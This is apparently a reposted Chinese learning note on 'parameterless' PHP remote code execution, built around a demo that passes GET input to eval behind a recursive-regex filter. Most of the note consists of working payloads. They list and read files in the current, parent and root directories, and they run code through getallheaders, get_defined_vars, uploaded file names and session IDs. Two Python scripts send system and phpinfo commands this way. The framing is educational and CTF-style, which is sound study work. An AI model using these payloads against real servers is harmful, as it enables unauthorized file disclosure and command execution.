原文:https://www.yuque.com/ni4n/blogs/imxg18

何为无参数?

构造的payload只能是由函数组成,且在套娃(构建payload)期间,函数不能带有参数。

Demo

  1. <?php
  2. highlight_file(__FILE__);
  3. if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
  4. eval($_GET['code']);
  5. }
  6. ?>

其正则就规定了我们不能用如下payload

  1. a('123');

但是可用下面那种套娃形式

  1. a(b(c()));
  2. a();

文件读取

遍历目录

遍历当前目录

首先我们考虑用什么函数获取当前目录名

方法一:getcwd()

无参数RCE学习笔记(转载) - 图1

方法二:构造.

没错就是构造点,我们知道. 即表示当前目录;但是由于不能使用参数,我们就只能用函数去构造点。

那么如何构造?

构造法一:

  1. localeconv()` 返回一包含本地数字及货币格式信息的数组。而数组第一项就是`.

打印一下该函数即可得到下面结果

无参数RCE学习笔记(转载) - 图2

那么如何获取到这个点?

既然是关于数组的就要考虑用数组相关的函数了。

  1. current() //返回数组中的当前单元,默认取第一个值
  2. pos() //current的别名
  3. reset() //将数组的内部指针指向第一个单元
  4. end() //将数组的内部指针指向最后一个单元
  5. next() //将数组中的内部指针向前移动一位

经测试,前三个函数均可取到.

构造法二:

  1. chr()` 返回相对应于 `ascii` 所指定的单个字符。我们知道46在ASCII码中即表示`.

, 所以可构造chr(46)

  1. chr(time())
  2. chr(current(localtime(time())))

构造法三:

crypt() 单向字符串散列

hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 .(小概率) 然后通过chr(ord())只取第一个字符

  1. print_r(scandir(chr(ord(hebrevc(crypt(time()))))))
  2. strrev(crypt(serialize(array())))` 也可以得到`.
  3. print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

还有一些其他的构造方法,可以看文末的参考链接

然后就是用什么函数进行遍历,用什么函数打印出来?

scandir() 列出指定路径中的文件和目录

print_r() — 以易于理解的格式打印变量

例子:

  1. ?code=print_r(scandir(reset(localeconv())));
  2. ?code=print_r(scandir(getcwd()));

无参数RCE学习笔记(转载) - 图3

print_r 被ban,我们还可以用下面的函数进行打印:

无参数RCE学习笔记(转载) - 图4

遍历上级目录

方法一:dirname()

首先看个图片,我们可以发现,如果传入dirname()的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径。

无参数RCE学习笔记(转载) - 图5

payload

  1. ?code=print_r(scandir(dirname(getcwd())));

方法二:构造..

我们看到在遍历目录时,返回的也是数组,而且第二个就是.. 所以我们可以用上面的提到的next() 进行获取,然后再遍历。

无参数RCE学习笔记(转载) - 图6

payload

  1. ?code=print_r(scandir(next(scandir(getcwd()))));

总之只要能能遍历当前目录,那么就能构造出..

如果需要逐级往上遍历,只需要套娃即可。

遍历子目录

通过上面的分析我们已经知道,遍历当前目录后返回的是数组。因此我们只需要通过数组相关函数获取其名字,加以遍历即可,现对其位置进行以下假设:

在最后一个

利用end() 获取

这里以访问最后一个upload-labs目录为例

  1. ?code=print_r(scandir(end(scandir(getcwd()))));

无参数RCE学习笔记(转载) - 图7

或者array_reverse() 反转数组,使其变为第一位,再以current() 类似的函数获取;

  1. ?code=print_r(scandir(current(array_reverse(scandir(getcwd())))));

无参数RCE学习笔记(转载) - 图8

倒数第二个

和上面类似,先反转,这样就变成正数第二个了,我们再用next() 获取:

  1. ?code=print_r(scandir(next(array_reverse(scandir(getcwd())))));

无参数RCE学习笔记(转载) - 图9

其它

array_flip()交换数组的键和值

array_rand() 从数组中取出一个或多个随机的单元,并返回随机条目的一个或多个键。

我们用array_rand() 会随机返回一个单元的键,但是我们要的是其值,因此可用先用array_flip()交换数组的键和值,然后再使其随机返回,就有可能读到想要的那个目录。

  1. ?code=print_r(scandir(array_rand(array_flip(scandir(getcwd())))));

无参数RCE学习笔记(转载) - 图10

遍历根目录

  1. strrev(crypt(serialize(array())))`所获得的字符串第一位有几率是`/

所以可用

  1. print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

也可以这么用,设置当前工作目录为根目录,然后遍历此目录。

  1. if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));

读取文件

读取当前目录文件

通过对当前目录遍历我们就能获取到当前目录有文件名了,那剩下的就是读取。它和遍历子目录差不多,就是把遍历目录的函数换成读取文件的函数

  1. show_source()
  2. highlight_file()
  3. file_get_contents ()
  4. readfile()
  5. readgzfile()

倒数第一个

  1. show_source(current(array_reverse(scandir(getcwd()))));
  2. show_source(end(scandir(getcwd())));

倒数第二个

  1. show_source(next(array_reverse(scandir(getcwd()))));

其它

  1. show_source(array_rand(array_flip(scandir(getcwd()))));
  2. show_source(array_rand(array_flip(scandir(current(localeconv())))));

读取上级目录文件

此时就涉及到一个问题,就是show_source() 等函数是默认在当前工作目录读取该文件的。即我们需要将上级目录设置为工作目录才能读取。

chdir() 改变目录

  1. show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
  2. if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));

读取根目录文件

  1. if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));

实现RCE

首先,我们此时有eval 函数,但是我们不能传入参数,那么我们可以考虑传入其他函数以接收其他地方的变量。

可用变量

  1. $_POST
  2. $_GET
  3. $_FILES
  4. $_ENV
  5. $_COOKIE
  6. $_SESSION

那么我们只需要用可用接收这些变量的函数即可

getallheaders()

getallheaders()获取全部 HTTP 请求头信息

apache_response_headers()获得全部 HTTP 响应头信息

这就意味着我们在headers里传入参数,再用该函数进行接收即可,但是其局限性在于只能是apeach 环境下。

我们可以试一下在headers里加个参数,看能不能打印出来

无参数RCE学习笔记(转载) - 图11

我们看到,我们在第一行加的参数,但是它实质上是在数组的最后一位,因此我们可以用end() 获取,然后执行。

无参数RCE学习笔记(转载) - 图12

payload

  1. ?code=eval(end(getallheaders()));

get_defined_vars()

它能获取到以下的变量

  1. $_GET
  2. $_POST
  3. $_FILES
  4. $_COOKIE

无参数RCE学习笔记(转载) - 图13

所以我们可以利用GET 方式传参,然后执行

无参数RCE学习笔记(转载) - 图14

payload

  1. ?code=eval(end(pos(get_defined_vars())));&ni4n=phpinfo();

但是以下几个可能会被过滤

  1. $_GET
  2. $_POST
  3. $_COOKIE

所以我们可以利用$_FILES ,这样需要写个上传脚本,这里直接贴一个师傅的。

  1. import requests
  2. from io import BytesIO
  3. payload = "system('ls /tmp');".encode('hex')
  4. files = {
  5. payload: BytesIO('sky cool!')
  6. }
  7. r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)
  8. print r.content

session_id()

session_id() 获取/设置当前会话 ID

session_start() 会创建新会话或者重用现有会话。

hex2bin() 转换十六进制字符串为二进制字符串

我们可以用session_start() 设置cookie ,但是有一点限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号),然后用session_id() 获取;

也就是说,如果是读取文件的时候我们可以直接在cookie 处设置PHPSESSID=名字,然后利用打印函数打印出来,命令执行也可这么利用,只要将读取文件函数换成命令执行函数即可。(PHP5.5 -7.1.9可行)

  1. ?code=show_source(session_id(session_start()));

无参数RCE学习笔记(转载) - 图15

其他版本可考虑用hexbin() 将十六进制形式的命令还原。

  1. import requests
  2. url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
  3. payload = "phpinfo();".encode('hex')
  4. cookies = {
  5. 'PHPSESSID':payload
  6. }
  7. r = requests.get(url=url,cookies=cookies)
  8. print r.content

getenv()

`getenv()```获取一个环境变量的值(只适用于7.1以后版本)

通过array_rand()和array_flip()结合去取我们想要的那个值,但是一般情况下php.ini中,variables_order值为:GPCS,即没有定义Environment(E)变量,无法利用。只有当其配置为EGPCS时才可利用。

参考链接

无参数读文件和RCE总结

PHP Parametric Function RCE